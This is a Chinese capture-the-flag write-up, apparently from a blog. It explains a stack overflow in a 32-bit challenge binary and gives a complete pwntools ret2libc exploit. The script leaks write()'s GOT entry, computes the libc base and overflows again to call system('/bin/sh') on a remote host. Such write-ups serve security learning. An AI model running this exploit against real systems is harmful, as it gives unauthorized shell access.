0x0 程序保护和流程
保护:
![](https://i-blog.csdnimg.cn/blog_migrate/0633775ab235a04998b9fbea0bea5edd.png)
流程:
main()
![](https://i-blog.csdnimg.cn/blog_migrate/372c99c0b74dd025ef1045fb54fd0b87.png)
vulnerable_function()
![](https://i-blog.csdnimg.cn/blog_migrate/479c4acff0ad5f0b6ecb8332ed999bd3.png)
很明显的栈溢出。
0x1 利用过程
整个程序中没有我们能利用的部分,但是题目给我们提供了一个libc。所以可以通过泄露got表的地址获取libc的基地址。libc中有system()函数,还有"/bin/sh"。因此我们先使用write()泄露got表中的地址计算出libc的基地址调用完成之后返回到vulnerable_function(),计算出system()函数和"/bin/sh"再内存中的地址,然后再进行一次栈溢出调用system("/bin/sh")。
0x2 exp
from pwn import *
elf=ELF('./a')
libc=ELF('./libc_32.so.6')
write_plt=elf.plt['write']
write_got=elf.got['write']
vul_addr=elf.symbols['vulnerable_function']
write_libc=libc.symbols['write']
system_libc=libc.symbols['system']
bin_sh_libc=libc.search("/bin/sh").next()
# sh=process('./a')
sh=remote('124.126.19.106','43610')
sh.recv()
payload='a'*(0x88+4)+p32(write_plt)+p32(vul_addr)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload)
write_addr=u32(sh.recv(4))
offset=write_addr-write_libc
system_addr=offset+system_libc
bin_sh_addr=offset+bin_sh_libc
sh.recv()
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh_addr)
sh.sendline(payload)
sh.interactive()